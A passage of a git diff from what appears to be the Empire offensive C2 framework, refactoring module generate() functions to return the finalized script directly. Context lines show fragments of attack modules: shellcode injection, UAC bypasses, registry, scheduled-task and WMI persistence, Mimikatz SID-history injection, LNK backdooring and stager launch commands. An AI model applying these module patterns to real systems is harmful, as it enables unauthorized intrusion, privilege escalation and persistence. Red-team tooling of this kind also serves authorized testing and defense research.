main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/logoff.py b/empire/server/modules/powershell/management/logoff.py index 905b861e2..9dbf5ad39 100644 --- a/empire/server/modules/powershell/management/logoff.py +++ b/empire/server/modules/powershell/management/logoff.py @@ -18,10 +18,9 @@ def generate( else: script = "'Logging off current user.'; Start-Sleep -s 3; shutdown /l /f" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/mailraider/disable_security.py b/empire/server/modules/powershell/management/mailraider/disable_security.py index b4e7e78d2..96678950a 100644 --- a/empire/server/modules/powershell/management/mailraider/disable_security.py +++ b/empire/server/modules/powershell/management/mailraider/disable_security.py @@ -56,10 +56,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/mailraider/get_emailitems.py b/empire/server/modules/powershell/management/mailraider/get_emailitems.py index 008e16680..6c66577d1 100644 --- a/empire/server/modules/powershell/management/mailraider/get_emailitems.py +++ b/empire/server/modules/powershell/management/mailraider/get_emailitems.py @@ -36,10 +36,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/psinject.py b/empire/server/modules/powershell/management/psinject.py index 25eb99966..a06463958 100644 --- a/empire/server/modules/powershell/management/psinject.py +++ b/empire/server/modules/powershell/management/psinject.py @@ -69,10 +69,9 @@ def generate( else: script_end += f"Invoke-PSInject -ProcName {proc_name} -PoshCode {launcher_code}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/reflective_inject.py b/empire/server/modules/powershell/management/reflective_inject.py index 58e8e801a..956c517ea 100644 --- a/empire/server/modules/powershell/management/reflective_inject.py +++ b/empire/server/modules/powershell/management/reflective_inject.py @@ -81,10 +81,9 @@ def rand_text_alphanumeric( script_end += "\r\n" script_end += f"Remove-Item -Path {full_upload_path}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/runas.py b/empire/server/modules/powershell/management/runas.py index 188291ad8..a7144abfe 100644 --- a/empire/server/modules/powershell/management/runas.py +++ b/empire/server/modules/powershell/management/runas.py @@ -68,10 +68,9 @@ def generate( else: script_end += " -" + str(option) + " '" + str(values) + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/shinject.py b/empire/server/modules/powershell/management/shinject.py index f2739f8f5..cd2b470a2 100644 --- a/empire/server/modules/powershell/management/shinject.py +++ b/empire/server/modules/powershell/management/shinject.py @@ -60,10 +60,9 @@ def generate( script_end = f'\nInvoke-Shellcode -ProcessID {proc_id} -Shellcode $([Convert]::FromBase64String("{encoded_sc}")) -Force' script_end += f"; shellcode injected into pid {proc_id!s}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/spawn.py b/empire/server/modules/powershell/management/spawn.py index fbd0b84e5..04479b0e3 100644 --- a/empire/server/modules/powershell/management/spawn.py +++ b/empire/server/modules/powershell/management/spawn.py @@ -65,10 +65,9 @@ def generate( parts[0], " ".join(parts[1:]), listener_name ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/spawnas.py b/empire/server/modules/powershell/management/spawnas.py index ce440a95a..e501e6a04 100644 --- a/empire/server/modules/powershell/management/spawnas.py +++ b/empire/server/modules/powershell/management/spawnas.py @@ -69,10 +69,9 @@ def generate( script_end += r'-Cmd "$env:public\debug.bat"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/switch_listener.py b/empire/server/modules/powershell/management/switch_listener.py index 653f40cc5..dc1e0a037 100644 --- a/empire/server/modules/powershell/management/switch_listener.py +++ b/empire/server/modules/powershell/management/switch_listener.py @@ -32,10 +32,9 @@ def generate( # signal the existing listener that we're switching listeners, and the new comms code script = f"Send-Message -Packets $(Encode-Packet -Type 130 -Data '{listener_name}');\n{script}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/management/user_to_sid.py b/empire/server/modules/powershell/management/user_to_sid.py index 366ebfa13..9ba968379 100644 --- a/empire/server/modules/powershell/management/user_to_sid.py +++ b/empire/server/modules/powershell/management/user_to_sid.py @@ -15,10 +15,9 @@ def generate( params["Domain"], params["User"] ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/elevated/registry.py b/empire/server/modules/powershell/persistence/elevated/registry.py index e161209fc..02e9ca6a8 100644 --- a/empire/server/modules/powershell/persistence/elevated/registry.py +++ b/empire/server/modules/powershell/persistence/elevated/registry.py @@ -67,13 +67,12 @@ def generate( + key_name + ";" ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if ext_file != "": # read in an external file as the payload and build a @@ -155,10 +154,9 @@ def generate( script += "'Registry persistence established " + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/elevated/schtasks.py b/empire/server/modules/powershell/persistence/elevated/schtasks.py index 66191ef9b..a1e2ba989 100644 --- a/empire/server/modules/powershell/persistence/elevated/schtasks.py +++ b/empire/server/modules/powershell/persistence/elevated/schtasks.py @@ -69,13 +69,12 @@ def generate( script += "schtasks /Delete /F /TN " + task_name + ";" script += "'Schtasks persistence removed.'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if ext_file != "": # read in an external file as the payload and build a @@ -195,10 +194,9 @@ def generate( status_msg += " with " + task_name + " daily trigger at " + daily_time + "." script += "'Schtasks persistence established " + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/elevated/wmi.py b/empire/server/modules/powershell/persistence/elevated/wmi.py index cc70d15b1..13404d2bd 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi.py +++ b/empire/server/modules/powershell/persistence/elevated/wmi.py @@ -74,13 +74,12 @@ def generate( ) script = main_menu.obfuscationv2.obfuscate_keywords(script) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if ext_file != "": # read in an external file as the payload and build a @@ -249,10 +248,9 @@ def generate( script += "'WMI persistence established " + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py index 8ab65a8eb..625e68af1 100644 --- a/empire/server/modules/powershell/persistence/elevated/wmi_updater.py +++ b/empire/server/modules/powershell/persistence/elevated/wmi_updater.py @@ -66,13 +66,12 @@ def generate( "'WMI persistence with subscription named " + sub_name + " removed.'" ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if ext_file != "": # read in an external file as the payload and build a @@ -212,10 +211,9 @@ def generate( script += "'WMI persistence established " + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/misc/add_sid_history.py b/empire/server/modules/powershell/persistence/misc/add_sid_history.py index 8cbe41565..3bc9d85ce 100644 --- a/empire/server/modules/powershell/persistence/misc/add_sid_history.py +++ b/empire/server/modules/powershell/persistence/misc/add_sid_history.py @@ -30,10 +30,9 @@ def generate( # base64 encode the command to pass to Invoke-Mimikatz script_end = f"Invoke-Mimikatz {command};" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/misc/debugger.py b/empire/server/modules/powershell/persistence/misc/debugger.py index 10dc10e98..693fb83ec 100644 --- a/empire/server/modules/powershell/persistence/misc/debugger.py +++ b/empire/server/modules/powershell/persistence/misc/debugger.py @@ -31,13 +31,12 @@ def generate( if cleanup.lower() == "true": # the registry command to disable the debugger for Utilman.exe script = f"Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\{target_binary}';'{target_binary} debugger removed.'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if listener_name != "": # if there's a listener specified, generate a stager and store it @@ -107,10 +106,9 @@ def generate( + "'" ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py index 3d46b2ca9..740b14556 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/deaduser.py +++ b/empire/server/modules/powershell/persistence/powerbreach/deaduser.py @@ -136,10 +136,9 @@ def generate( parts[0], " ".join(parts[1:]) ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py index a45c77316..92b046ed7 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/eventlog.py +++ b/empire/server/modules/powershell/persistence/powerbreach/eventlog.py @@ -114,10 +114,9 @@ def generate( parts[0], " ".join(parts[1:]) ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/powerbreach/resolver.py b/empire/server/modules/powershell/persistence/powerbreach/resolver.py index cb7efa793..c138cccee 100644 --- a/empire/server/modules/powershell/persistence/powerbreach/resolver.py +++ b/empire/server/modules/powershell/persistence/powerbreach/resolver.py @@ -123,10 +123,9 @@ def generate( parts[0], " ".join(parts[1:]) ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py index 028be910f..4e87fe815 100644 --- a/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py +++ b/empire/server/modules/powershell/persistence/userland/backdoor_lnk.py @@ -110,10 +110,9 @@ def generate( script_end += f" -EncScript '{encScript}'" script_end += f"; \"Invoke-BackdoorLNK run on path '{lnk_path}' with stager for listener '{listener_name}'\"" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/userland/registry.py b/empire/server/modules/powershell/persistence/userland/registry.py index 9ef4824cc..052da0f73 100644 --- a/empire/server/modules/powershell/persistence/userland/registry.py +++ b/empire/server/modules/powershell/persistence/userland/registry.py @@ -69,13 +69,12 @@ def generate( + ";" ) script += "'Registry Persistence removed.'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if ext_file != "": # read in an external file as the payload and build a @@ -195,10 +194,9 @@ def generate( script += "'Registry persistence established " + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/persistence/userland/schtasks.py b/empire/server/modules/powershell/persistence/userland/schtasks.py index 3982cc68f..e1af72194 100644 --- a/empire/server/modules/powershell/persistence/userland/schtasks.py +++ b/empire/server/modules/powershell/persistence/userland/schtasks.py @@ -67,13 +67,12 @@ def generate( script += "schtasks /Delete /F /TN " + task_name + ";" script += "'Schtasks persistence removed.'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script if ext_file != "": # read in an external file as the payload and build a @@ -188,10 +187,9 @@ def generate( script += "'Schtasks persistence established " + status_msg + "'" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/ask.py b/empire/server/modules/powershell/privesc/ask.py index 83c06dd50..b4cc4596b 100644 --- a/empire/server/modules/powershell/privesc/ask.py +++ b/empire/server/modules/powershell/privesc/ask.py @@ -58,10 +58,9 @@ def generate( }} """ - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end="", obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac.py b/empire/server/modules/powershell/privesc/bypassuac.py index dfed11c02..8d5efc29a 100644 --- a/empire/server/modules/powershell/privesc/bypassuac.py +++ b/empire/server/modules/powershell/privesc/bypassuac.py @@ -52,10 +52,9 @@ def generate( else: script_end = f'Invoke-BypassUAC -Command "{launcher}"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac_env.py b/empire/server/modules/powershell/privesc/bypassuac_env.py index e098f6d25..b8c44d8f4 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_env.py +++ b/empire/server/modules/powershell/privesc/bypassuac_env.py @@ -51,10 +51,9 @@ def generate( return handle_error_message("[!] Error in launcher generation.") else: script_end = f'Invoke-EnvBypass -Command "{enc_script}"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py index 180fae12d..ed80eb137 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py +++ b/empire/server/modules/powershell/privesc/bypassuac_eventvwr.py @@ -53,10 +53,9 @@ def generate( else: script_end = f'Invoke-EventVwrBypass -Command "{encScript}"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py index 801759516..db82a2430 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py +++ b/empire/server/modules/powershell/privesc/bypassuac_fodhelper.py @@ -52,10 +52,9 @@ def generate( return handle_error_message("[!] Error in launcher generation.") else: script_end = f'Invoke-FodHelperBypass -Command "{enc_script}"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py index 2a9d5c9f8..3b9bda34a 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py +++ b/empire/server/modules/powershell/privesc/bypassuac_sdctlbypass.py @@ -52,10 +52,9 @@ def generate( return handle_error_message("[!] Error in launcher generation.") else: script_end = f'Invoke-SDCLTBypass -Command "{enc_script}"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py index a7c402d37..a36e42383 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py +++ b/empire/server/modules/powershell/privesc/bypassuac_tokenmanipulation.py @@ -54,10 +54,9 @@ def generate( f'Invoke-BypassUACTokenManipulation -Arguments "-w 1 -enc {encoded_cradle}"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/bypassuac_wscript.py b/empire/server/modules/powershell/privesc/bypassuac_wscript.py index c5cbecdf5..56925839f 100644 --- a/empire/server/modules/powershell/privesc/bypassuac_wscript.py +++ b/empire/server/modules/powershell/privesc/bypassuac_wscript.py @@ -52,10 +52,9 @@ def generate( else: script_end = f'Invoke-WScriptBypassUAC -payload "{launcher}"' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/ms16-032.py b/empire/server/modules/powershell/privesc/ms16-032.py index 47c7c1dfd..9a4e2b5aa 100644 --- a/empire/server/modules/powershell/privesc/ms16-032.py +++ b/empire/server/modules/powershell/privesc/ms16-032.py @@ -43,10 +43,9 @@ def generate( script_end = 'Invoke-MS16-032 "' + launcher_code + '"' script_end += ';"`nInvoke-MS16032 completed."' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/ms16-135.py b/empire/server/modules/powershell/privesc/ms16-135.py index 4ecb32746..fcd937904 100644 --- a/empire/server/modules/powershell/privesc/ms16-135.py +++ b/empire/server/modules/powershell/privesc/ms16-135.py @@ -43,10 +43,9 @@ def generate( script_end = 'Invoke-MS16135 -Command "' + launcher_code + '"' script_end += ';"`nInvoke-MS16135 completed."' - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py index 898a9d20c..8d073509e 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py +++ b/empire/server/modules/powershell/privesc/powerup/service_exe_stager.py @@ -58,10 +58,9 @@ def generate( + '" -Command "C:\\Windows\\System32\\cmd.exe /C $tempLoc"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/powerup/service_stager.py b/empire/server/modules/powershell/privesc/powerup/service_stager.py index 75e848408..886baa124 100644 --- a/empire/server/modules/powershell/privesc/powerup/service_stager.py +++ b/empire/server/modules/powershell/privesc/powerup/service_stager.py @@ -49,10 +49,9 @@ def generate( + '" -Command "C:\\Windows\\System32\\cmd.exe /C `"$env:Temp\\debug.bat`""' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py index 0f194d062..7af2c0f53 100644 --- a/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py +++ b/empire/server/modules/powershell/privesc/powerup/write_dllhijacker.py @@ -65,10 +65,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/recon/fetch_brute_local.py b/empire/server/modules/powershell/recon/fetch_brute_local.py index d50b2c5b9..0c0d4eb87 100644 --- a/empire/server/modules/powershell/recon/fetch_brute_local.py +++ b/empire/server/modules/powershell/recon/fetch_brute_local.py @@ -39,10 +39,9 @@ def generate( if len(Loginpass) >= 1: script_end += " -lpass " + Loginpass - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/recon/find_fruit.py b/empire/server/modules/powershell/recon/find_fruit.py index 13d101d11..5a90cae70 100644 --- a/empire/server/modules/powershell/recon/find_fruit.py +++ b/empire/server/modules/powershell/recon/find_fruit.py @@ -54,10 +54,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py index fb4df4c8d..2ebbf453b 100644 --- a/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py +++ b/empire/server/modules/powershell/recon/get_sql_server_login_default_pw.py @@ -41,10 +41,9 @@ def generate( ) script_end += " -Instance " + instance - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py index 9ba4a3225..a4f84b6bd 100644 --- a/empire/server/modules/powershell/situational_awareness/host/computerdetails.py +++ b/empire/server/modules/powershell/situational_awareness/host/computerdetails.py @@ -30,65 +30,60 @@ def generate( script_end += 'Write-Output "Event ID 4624 (Logon):`n";' script_end += "Write-Output $Filtered4624.Values" script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script elif params["4648"].lower() == "true": script_end += "$SecurityLog = Get-EventLog -LogName Security; $Filtered4648 = Find-4648Logons $SecurityLog;" script_end += 'Write-Output "Event ID 4648 (Explicit Credential Logon):`n";' script_end += "Write-Output $Filtered4648.Values" script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script elif params["AppLocker"].lower() == "true": script_end += "$AppLockerLogs = Find-AppLockerLogs;" script_end += 'Write-Output "AppLocker Process Starts:`n";' script_end += "Write-Output $AppLockerLogs.Values" script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script elif params["PSScripts"].lower() == "true": script_end += "$PSLogs = Find-PSScriptsInPSAppLog;" script_end += 'Write-Output "PowerShell Script Executions:`n";' script_end += "Write-Output $PSLogs.Values" script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script elif params["SavedRDP"].lower() == "true": script_end += "$RdpClientData = Find-RDPClientConnections;" script_end += 'Write-Output "RDP Client Data:`n";' script_end += "Write-Output $RdpClientData.Values" script_end += f" | {outputf}" - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script script_end += "Get-ComputerDetails -Limit " + str(params["Limit"]) if outputf == "Out-String": @@ -106,10 +101,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py index e210fb5d8..aac376387 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py +++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.py @@ -55,10 +55,9 @@ def generate( + ' completed!"' ) - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - return script diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py index 9d8e46e53..e23ae0805 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_gpo_computer.py @@ -92,6 +92,4 @@ def generate( script_end, obfuscation_command ) script += script_end - script = main_menu.obfuscationv2.obfuscate_keywords(script) - - return script + return main_menu.obfuscationv2.obfuscate_keywords(script) diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py index 6e7378518..0d02c0251 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py @@ -75,6 +75,4 @@ def generate( script_end, obfuscation_command ) script += script_end - script = main_menu.obfuscationv2.obfuscate_keywords(script) - - return script + return main_menu.obfuscationv2.obfuscate_keywords(script) diff --git a/empire/server/modules/powershell_template.py b/empire/server/modules/powershell_template.py index 8dd8b0d78..6cdefd1ed 100644 --- a/empire/server/modules/powershell_template.py +++ b/empire/server/modules/powershell_template.py @@ -57,11 +57,9 @@ def generate( # Step 3: Return the final script # finalize_module will obfuscate the "script_end" (if needed), then append it to the script. - script = main_menu.modulesv2.finalize_module( + return main_menu.modulesv2.finalize_module( script=script, script_end=script_end, obfuscate=obfuscate, obfuscation_command=obfuscation_command, ) - - return script diff --git a/empire/server/modules/python/collection/osx/native_screenshot_mss.py b/empire/server/modules/python/collection/osx/native_screenshot_mss.py index 4678cdf7d..3cd5e628a 100644 --- a/empire/server/modules/python/collection/osx/native_screenshot_mss.py +++ b/empire/server/modules/python/collection/osx/native_screenshot_mss.py @@ -17,7 +17,7 @@ def generate( with open(path, "rb") as open_file: module_data = open_file.read() module_data = base64.b64encode(module_data) - script = """ + return """ import os import base64 data = "{}" @@ -41,5 +41,3 @@ def run(data): params["Monitor"], params["SavePath"], ) - - return script diff --git a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py index 0423774a7..203c6bfa8 100644 --- a/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py +++ b/empire/server/modules/python/lateral_movement/multi/ssh_launcher.py @@ -29,7 +29,7 @@ def generate( launcher = launcher.replace('"', '\\"') if launcher == "": return handle_error_message("[!] Error in launcher command generation.") - script = f""" + return f""" import os import pty @@ -63,5 +63,3 @@ def wall(host, pw): print(output) """ - - return script diff --git a/empire/server/modules/python/management/multi/spawn.py b/empire/server/modules/python/management/multi/spawn.py index 8a34c936e..05407b075 100644 --- a/empire/server/modules/python/management/multi/spawn.py +++ b/empire/server/modules/python/management/multi/spawn.py @@ -25,6 +25,4 @@ def generate( return handle_error_message("[!] Error in launcher command generation.") else: launcher = launcher.replace('"', '\\"') - script = f'import os; os.system("{launcher}")' - - return script + return f'import os; os.system("{launcher}")' diff --git a/empire/server/modules/python/management/osx/shellcodeinject64.py b/empire/server/modules/python/management/osx/shellcodeinject64.py index f18836b77..b89edb61a 100644 --- a/empire/server/modules/python/management/osx/shellcodeinject64.py +++ 